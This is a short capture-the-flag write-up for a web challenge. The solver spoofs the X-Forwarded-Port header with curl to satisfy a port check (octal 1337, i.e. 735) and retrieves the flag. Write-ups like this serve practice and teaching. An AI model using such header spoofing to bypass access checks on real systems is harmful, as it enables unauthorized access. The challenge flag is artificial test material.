Description

Can you?

Solution

when we request the site we get :

```
└─$ curl https://can-you.hackini24.shellmates.club/ -k

The source port is 57077, I want 0o1337.
```

we notice that the port is changing with every request :

```
└─$ curl https://can-you.hackini24.shellmates.club/ -k
The source port is 57077, I want 0o1337.

└─$ curl https://can-you.hackini24.shellmates.club/ -k
The source port is 44733, I want 0o1337.

└─$ curl https://can-you.hackini24.shellmates.club/ -k
The source port is 30638, I want 0o1337.
```

there is a header called `X-Forwarded-Port` which is a request header that helps you identify the destination port that the client used to connect to the server, let's try to specify that header with a random port and see if that's the one that will be displayed one the response :

```
└─$ curl https://can-you.hackini24.shellmates.club/ -k -H 'X-Forwarded-Port:
8888'
The source port is 8888, I want 0o1337.
```

we confirmed that we can control the port, now we need to send it the port it wants.

it says that it want `0o1337`, the `0o` hints that it wants `octal`, like `0x` refers to hex, the `0o` refers to octal, from here we understand that it wants the octal decoded value of `1337`, let's do that :

```
└─$ echo $((8#1337))
735
```

let's try `735` as the port :

```
└─$ curl https://can-you.hackini24.shellmates.club/ -k -H 'X-Forwarded-Port: 735'
shellmatess{c0ntr0l_th3_50urc3_p0rt5_4nd_y0u_c0ntr0l_th3_w0rld}
```

- flag: `shellmatess{c0ntr0l_th3_50urc3_p0rt5_4nd_y0u_c0ntr0l_th3_w0rld}`